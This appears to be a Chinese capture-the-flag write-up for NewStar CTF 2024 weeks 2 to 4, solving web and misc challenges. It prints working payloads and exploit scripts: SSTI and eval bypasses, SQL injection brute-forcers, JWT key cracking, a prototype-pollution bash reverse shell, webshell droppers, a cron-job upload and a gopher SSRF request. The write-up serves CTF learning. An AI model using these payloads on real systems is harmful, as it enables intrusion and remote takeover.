2024NewStar

Week2

刚刚把Web做完

质量嘎嘎的

写一写

Misc

wireshark_checkin

随便找找就有flag了

wireshark_secret

第3流发现图片

image-20241010200736057导出来

image-20241010200823863

Web

你能在一秒内打出八句英文吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from selenium import webdriver
from selenium.webdriver.common.by import By
import time

# 使用 Chrome 浏览器
driver = webdriver.Chrome()

# 打开网页
driver.get("http://localhost:5000") # 替换成你要访问的页面 URL

# 找到提供句子的 <p> 元素并获取文本
sentences_element = driver.find_element(By.ID, "text")
sentences = sentences_element.text # 获取句子文本

# 找到输入框元素
user_input = driver.find_element(By.ID, "user-input")

# 使用 JavaScript 快速输入句子
driver.execute_script("arguments[0].value = arguments[1];", user_input, sentences)

# 等待一段时间以确保输入完成
time.sleep(0.1) # 确保在输入之后有一点小延迟

# 使用 JavaScript 提交表单,而不是通过 Selenium 点击按钮
driver.execute_script("document.getElementById('submit-btn').click();")

# 此时浏览器不会关闭,等待你手动关闭
print("脚本已执行完毕,浏览器不会自动关闭。")

PangBai 过家家(2)

githack下载git泄露文件

https://www.cnblogs.com/zi-Chuan/p/12396138.html

这个题找了半天没找到flag最后发现在堆栈中有个php文件

1
2
git stash pop   弹出堆栈的内容
git add BacKd0or.v2d23AOPpDfEW5Ca.php

image-20241010200307406

会发现文件夹下多了个文件

image-20241010200406154

里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

# Functions to handle HTML output

function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}

function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'TfflxoU0ry7c') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}

藏得真深

image-20241010200454095

遗失的拉链

www.zip源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}
1
2
3
数组绕过即可
pizwww.php?new[]=1
syar[]=2&cmd=system("tac /f*")

复读机

ssti

1
{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

谢谢皮蛋 plus

实际上就比第一周多过滤了空格和and

1
-1"/**/union/**/select/**/group_concat(des),group_concat(value)/**/from/**/Fl4g#

week3

Web

臭皮的计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def waf(s):
token = True
for i in s:
if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
token = False
break
return token

@app.route("/")
def index():
return render_template("index.html")

@app.route("/calc", methods=['POST', 'GET'])
def calc():

if request.method == 'POST':
num = request.form.get("num")
script = f'''import os
print(eval("{num}"))
'''
print(script)
if waf(num):
try:
result_output = ''
with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
temp_script.write(script)
temp_script_path = temp_script.name

result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
os.remove(temp_script_path)

result_output = result.stdout if result.returncode == 0 else result.stderr
except Exception as e:

result_output = str(e)
return render_template("calc.html", result=result_output)
else:
return render_template("calc.html", result="臭皮!你想干什么!!")
return render_template("calc.html", result='试试呗')

if __name__ == "__main__":
app.run(host='0.0.0.0', port=30002)

过滤了所有字母,chr绕过就OK,或者8进制

1
2
3
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\154\163\042\051\056\162\145\141\144\050\051

臭皮踩踩背

我有点疑惑,这不是pyjail吗,怎么整Web来了

1
2
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
开启sh

这照片是你吗

源代码给了提示

image-20241128142316781

服务器用的是静态解析文件,路径穿越../app.py可以得到源码

image-20241128142337765

审计源码,可以知道我们要用 admin 用户登录来进入面板。两种方法:获取密码或者伪造 token.

1
2
base_key = str(uuid.uuid4()).split("-")
admin_pass = "".join([ _ for _ in base_key])

admin 的密码长度是 32 个字符,而整个程序有登录次数限制,因此无法爆破密码来登录。

而伪造 token 则需要 secret_key,查看生成逻辑:

1
secret_key = get_random_number_string(6)

6 位数字字符串,可以在数秒内完成爆破。

1
2
3
4
users = {
'admin': admin_pass,
'amiya': "114514"
}

通过本段代码我们可以知道一个有效账户 amiya,密码 114514,通过发包登录,我们可以获得一个有效的 token,据此能在本地认证签名 secret_key 的有效性(因为目标主机有认证次数限制)。

爆破出 secret_key 114514,然后查看登录后的逻辑:

前端请求 /execute 指定 api_address,而 api_address 可控且没有校验,存在 SSRF 漏洞。

定位到源代码开头:

1
from flag import get_random_number_string

这是出题人故意漏的信息,将函数写在了 flag 模块并 import,提示查看 flag.py

1
2
3
4
@get_flag.route("/fl4g")
# 如何触发它呢?
def flag():
return FLAG

Python 程序可以 import 同一目录下的 .py 文件而不必创建 __init__.py 等标记模块的文件。因此这里同级目录下有文件名为 flag.py 的程序,模块名为 flag.

我们的操作很明确了:利用 /execute 路由的 SSRF 漏洞让服务器自己访问 http://localhost:5001/fl4g,即访问 /execute?api_address=http://localhost:5001/fl4g.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import time
import requests
import jwt
import sys

if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <url>")
sys.exit(1)

url = sys.argv[-1]


def get_number_string(number,length):
return str(number).zfill(length)

print("[+] Exploit for newstar-zhezhaopianshinima")
print("[+] Getting a valid token from the server")

LENGTH = 6
req = requests.post(url+"/login", data={"username":"amiya","password":"114514"})
token = req.cookies.get("token")

print(f"[+] Got token: {token}")
print("[+] Brute forcing the secret key")
for i in range(1000000):
secret_key = get_number_string(i,LENGTH)
try:
decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
break
except jwt.exceptions.InvalidSignatureError:
continue

print(f"[+] Found secret key: {secret_key}")
fake_token = jwt.encode({'user': 'admin', 'exp': int(time.time()) + 600}, secret_key)

print(f"[+] Generated a fake token: {fake_token}")

print("[+] Getting the flag")
req = requests.get(url+"/execute?api_address=http://localhost:5001/fl4g", cookies={"token":fake_token})

print(f"[+] Flag: {req.text}")

Include_Me

1
?iknow=1&me=data:text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzBdKT8+%2B

blindsql1

import requests,string,time

url = ''

result = ''
for i in range(1,100):
    print(f'[+] Bruting at {i}')
    for c in string.ascii_letters + string.digits + '_-{}':
        time.sleep(0.2) # 限制速率,防止请求过快
   print('[+] Trying:', c)

    # 这条语句能查询到当前数据库所有的表名
  #tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'
 #tables = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'
 tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'

    # 获取所有表名的第 i 个字符,并计算 ascii 值
    char = f'(ord(mid({tables},{i},1)))'

    # 爆破该 ascii 值
    b = f'(({char})in({ord(c)}))'

    # 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
    p = f'Alice\'and({b})#'

    res = requests.get(url, params={'student_name': p})

    if 'Alice' in res.text:
        print('[*]bingo:',c)
        result += c
        print(result)
        break

Week4

Web

bindsql2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests, string, time

url = 'http://ip:port'

result = ''
for i in range(1,100):
print(f'[+]bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快

print('[+]trying:', c)
tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'

columns = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'

flag = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'

# 获取第 i 个字符,并计算 ascii 值
char = f'(ord(mid({flag},{i},1)))'

# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'

# 若 ascii 猜对了,会执行 sleep(1.5)
p = f'Alice\'and(if({b},sleep(1.5),0))#'

res = requests.get(url, params={'student_name':p})

if res.elapsed.total_seconds() > 1.5:
print('[*]bingo:', c)
result += c
print(result)
break

Ezpollute

JavaScript 的原型链污染

查看部署文件,可以得知 Node.js 版本为 16,并且使用了 node-dev 热部署启动

审计 index.js/config 路由下调用了 merge 函数, merge 函数意味着可能存在的原型链污染漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
router.post('/config', async (ctx) => {
jsonData = ctx.request.rawBody || "{}"
token = ctx.cookies.get('token')
if (!token) {
return ctx.body = {
code: 0,
msg: 'Upload Photo First',
}
}
const [err, userID] = decodeToken(token)
if (err) {
return ctx.body = {
code: 0,
msg: 'Invalid Token',
}
}
userConfig = JSON.parse(jsonData)
try {
finalConfig = clone(defaultWaterMarkConfig)
// 这里喵
merge(finalConfig, userConfig)
fs.writeFileSync(path.join(__dirname, 'uploads', userID, 'config.json'), JSON.stringify(finalConfig))
ctx.body = {
code: 1,
msg: 'Config updated successfully',
}
} catch (e) {
ctx.body = {
code: 0,
msg: 'Some error occurred',
}
}
})

merge 函数在 /util/merge.js 中,虽然过滤了 proto,但我们可以通过 constructor.prototype 来绕过限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// /util/merge.js
function merge(target, source) {
if (!isObject(target) || !isObject(source)) {
return target
}
for (let key in source) {
if (key === "__proto__") continue
if (source[key] === "") continue
if (isObject(source[key]) && key in target) {
target[key] = merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target
}

/process 路由调用了 fork,创建了一个 JavaScript 子进程用于水印添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
try {
await new Promise((resolve, reject) => {

// 这里喵
const proc = fork(PhotoProcessScript, [userDir], { silent: true })

proc.on('close', (code) => {
if (code === 0) {
resolve('success')
} else {
reject(new Error('An error occurred during execution'))
}
})

proc.on('error', (err) => {
reject(new Error(`Failed to start subprocess: ${err.message}`))
})
})
ctx.body = {
code: 1,
msg: 'Photos processed successfully',
}
} catch (error) {
ctx.body = {
code: 0,
msg: 'some error occurred',
}
}

结合之前的原型链污染漏洞,我们污染 NODE_OPTIONSenv,在 env 中写入恶意代码,fork 在创建子进程时就会首先加载恶意代码,从而实现 RCE

1
2
3
4
5
6
7
8
9
10
11
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A":"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//"
}
}
}
}
# 需要注意在 Payload 最后面有注释符 `//`,这里的思路跟 SQL 注入很像
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import re
import base64
from time import sleep

url = "http://url:port"

# 获取 token
# 随便发送点图片获取 token
files = [
('images', ('anno.png', open('./1.png', 'rb'), 'image/png')),
('images', ('soyo.png', open('./2.png', 'rb'), 'image/png'))
]
res = requests.post(url + "/upload", files=files)
token = res.headers.get('Set-Cookie')
match = re.search(r'token=([a-f0-9\-\.]+)', token)
if match:
token = match.group(1)
print(f"[+] token: {token}")
headers = {
'Cookie': f'token={token}'
}

# 通过原型链污染 env 注入恶意代码即可 RCE

# 写入 WebShell
webshell = """
const Koa = require('koa')
const Router = require('koa-router')
const app = new Koa()
const router = new Router()

router.get("/webshell", async (ctx) => {
const {cmd} = ctx.query
res = require('child_process').execSync(cmd).toString()
return ctx.body = {
res
}
})

app.use(router.routes())
app.listen(3000, () => {
console.log('http://127.0.0.1:3000')
})
"""

# 将 WebShell 内容 Base64 编码
encoded_webshell = base64.b64encode(webshell.encode()).decode()

# Base64 解码后写入文件
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//"
}
}
}
}

# 原型链污染
requests.post(url + "/config", json=payload, headers=headers)

# 触发 fork 实现 RCE
try:
requests.post(url + "/process", headers=headers)
except Exception as e:
pass

sleep(2)
# 访问有回显的 WebShell
res = requests.get(url + "/webshell?cmd=cat /flag")
print(res.text)


Ezcmsss

在首页源码里找到提示,需要查看备份文件

首页源码

访问 /www.zip 获得源码备份文件,在 readme.txt 获得 jizhicms 版本号为 v1.9.5,在 start.sh 获得服务器初始化时使用的管理员账号和密码

image-20241128160220955

同时在 start.sh 中有备注提示访问 admin.php 进入管理页面,然后使用上面的账号密码登录

ezcmsss_3.BjAMiMYj

上网搜索可以发现 jizhicms v1.9.5 有一个管理界面的任意文件下载漏洞

扩展管理-插件列表 中发现只有一个插件,这是由于容器不出网导致的,因此我们不能按照网上的方式,使用公网的 url 链接下载文件,需要在将 .zip 文件上传到题目容器里,然后通过任意文件下载漏洞本地下载、解压

ezcmsss_4.QuVFACHD

有几种上传 .zip 文件的方法,都可以获取到文件保存的目录,其中一种是在 栏目管理-栏目列表-新增栏目 中添加附件,上传构造好的包含 php 马的压缩包

ezcmsss_5.DR4pk6YK

抓包获得保存路径为 /static/upload/file/20241016/1729079175871306.zip,测试可以访问

在插件那边进行抓包,构造请求如下(可以照着网上的漏洞复现依葫芦画瓢,filepath 随便起就行)

1
2
3
4
5
6
7
8
9
10
11
POST /admin.php/Plugins/update.html HTTP/1.1
Host: eci-2zedm1lw513xbz1d46c6.cloudeci1.ichunqiu.com
Content-Length: 126
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie:PHPSESSID=0k7pqbk4chhak4ku5aqbfhe7b3

filepath=apidata&action=start-download&type=0&download_url=http%3a//127.0.0.1/static/upload/file/20241016/1729079175871306.zip

注意

这里的 PHPSESSID 记得换成自己的

ezcmsss_6.D_m5y0rx

继续构造解压的请求,修改 action 即可,解压完的文件在 /A/exts

解压

访问 /A/exts/shell.php,可以直接进行命令执行

注意

这里的路径文件名就是上面下载的压缩包里面的文件,如果压缩包里有多个文件,解压会在 exts 下建立一个和上面 POST 参数 filepath 的值一致的文件夹,php 马需要在此目录下访问

ezcmsss_7.BCnvuSdp

flag 在根目录下的 /flllllag 文件,用通配符读取即可(如 /fl*

隐藏的密码

根据题目隐藏的密码可能是存在信息泄露,进行目录扫描,可以扫到 envjolokia 端点,可以找到 caef11.passwd 属性是隐藏的

1
2
3
4
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["caef11.passwd"]}

读到密码后,根据题目描述和属性的名字可得用户名为 caef11

1
2
3
4
5
6
7
8
9
10
11
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--abc
Cookie: PHPSESSID=kc8dfc8njb57d311qlmh7ij0d2; JSESSIONID=E1EF0128A9A427C2593DA64FAE3E2102

----abc
Content-Disposition: form-data; name="file"; filename="../etc/cron.d/testt"
Content-Type: application/octet-stream

*/1 * * * * root cat /flag | xargs -I {} touch /{}

----abc--

通过写定时任务(计划任务)的方式,以 flag 为文件名在根目录创建新文件,通过 ls 查看 flag,或者反弹 shell 也可以

PangBai 过家家(4)

根据题目附件所给的 hint,只需关注 main.go 文件即可,文件中定义了一个静态文件路由和三个路由:

go

1
2
3
r.HandleFunc("/", routeIndex)
r.HandleFunc("/eye", routeEye)
r.HandleFunc("/favorite", routeFavorite)

main.gorouteEye 函数中发现了 tmpl.Execute 函数,通过分析,我们重点关注下面的代码片段:

go

1
2
3
4
5
tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)

helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)

我们的输入 input 会直接作为模板字符串的一部分,与 Python 的 SSTI 类似,我们可以使用 {{` `}} 来获取上下文中的数据。

GoLang 模板中的上下文

tmpl.Execute 函数用于将 tmpl 对象中的模板字符串进行渲染,第一个参数传入的是一个 Writer 对象,后面是一个上下文,在模板字符串中,可以使用 {{ . }} 获取整个上下文,或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数,也支持 {{ .Func "param" }} 的方式传入变量。并且还支持管道符运算。

在本题中,由于 utils.go 定义的 Stringer 对象中的 String 方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct],所以直接使用 {{ . }} 返回全局的上下文结构会返回 [struct].

访问 /eye 路由,默认就是 {{ .User }} 和返回的信息。根据上面代码片段的内容,我们追溯 HelperConfig 两个结构体的结构:

go

1
2
3
4
5
6
7
8
9
10
11
type Helper struct {
Stringer
User string
Config Config
}

var config = Config{
Name: "PangBai 过家家 (4)",
JwtKey: RandString(64),
SignaturePath: "./sign.txt",
}

可以泄露出 JWT 的密钥,只需输入 {{ .Config.JwtKey }} 即可:

泄露 JWT 密钥

然后我们关注另一个路由 /favorite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
func routeFavorite(w http.ResponseWriter, r *http.Request) {

if r.Method == http.MethodPut {

// ensure only localhost can access
requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
fmt.Println("Request IP:", requestIP)
if requestIP != "127.0.0.1" && requestIP != "[::1]" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Only localhost can access"))
return
}

token, _ := r.Cookie("token")

o, err := validateJwt(token.Value)
if err != nil {
w.Write([]byte(err.Error()))
return
}

if o.Name == "PangBai" {
w.WriteHeader(http.StatusAccepted)
w.Write([]byte("Hello, PangBai!"))
return
}

if o.Name != "Papa" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("You cannot access!"))
return
}

body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
w.WriteHeader(http.StatusOK)
w.Write([]byte("ok"))
return
}

// render

tmpl, err := template.ParseFiles("views/favorite.html")
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}

sig, err := ioutil.ReadFile(config.SignaturePath)
if err != nil {
http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
return
}

err = tmpl.Execute(w, string(sig))

if err != nil {
http.Error(w, "[error]", http.StatusInternalServerError)
return
}
}

可以看到 /favorite 路由下,网页右下角的内容实际上是一个文件读的结果,文件路径默认为 config.SignaturePath./sign.txt 的内容。

而如果使用 PUT 请求,则可以修改 config.SignaturePath 的值,但需要携带使 Name(Token 对象中是 Name 字段,但是 JWT 对象中是 user 字段,可以在 utils.go 中的 validateJwt 函数中看到)为 Papa 的 JWT Cookie.

于是就有了解题思路:利用泄露的 JwtKey 伪造 Cookie,对 /favorite 发起 PUT 请求以修改 config.SignaturePath,然后访问 /favorite 获取文件读的内容。

然而 /favorite 中又强制要求请求必须来自于本地。

注意到下面的代码片段:

1
2
3
4
5
6
7
8
9
10
func (c Helper) Curl(url string) string {
fmt.Println("Curl:", url)
cmd := exec.Command("curl", "-fsSL", "--", url)
_, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Error: curl:", err)
return "error"
}
return "ok"
}

这部分代码为 Helper 定义了一个 Curl 的方法,所以我们可以在 /eye 路由下通过 {{ .Curl "url" }} 调用到这个方法,这个方法允许我们在服务端发起内网请求,即 SSRF(服务端请求伪造):

pangbai4_2.DhbU8kV5

由于 exec.Command-- 的存在,我们没有办法进行任何命令注入或选项控制。而一般情况下,在没有其它参数指定时,curl 发起的 HTTP 请求也只能发送 GET 请求,题目要求的是 PUT 请求。

但 curl 命令并不是只能发起 HTTP 请求,它也支持其它很多的协议,例如 FTP、Gopher 等,其中 Gopher 协议能满足我们的要求。

关于 Gopher 协议

Gopher 协议是一个互联网早期的协议,可以直接发送任意 TCP 报文。其 URI 格式为:gopher://远程地址/_编码的报文,表示将报文原始内容发送到远程地址.

我们先签一个 JWT:

签一个 JWT

然后构造 PUT 请求原始报文,Body 内容为想要读取的文件内容,这里读取环境变量:

http

1
2
3
4
5
6
7
PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiUGFwYSJ9.tgAEnWZJGTa1_HIBlUQj8nzRs2M9asoWZ-JYAQuV0N0
Content-Length: 18

/proc/self/environ

注意

必须填正确 Content-Length 的值,以使报文接收方正确解析 HTTP Body 的内容,并且 Body 不应当包含换行符,否则读文件会失败。

对请求进行编码和套上 Gopher 协议(CyberChef Recipe):

plaintext

1
gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJ1c2VyIjoiUGFwYSJ9%2EtgAEnWZJGTa1%5FHIBlUQj8nzRs2M9asoWZ%2DJYAQuV0N0%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron

然后调用 curl,在 /eye 路由访问 {{ .Curl "gopher://..." }} 即可。

pangbai4_4.AOtaSfqU

然后访问 /favorite 路由即可得到 FLAG:

FLAG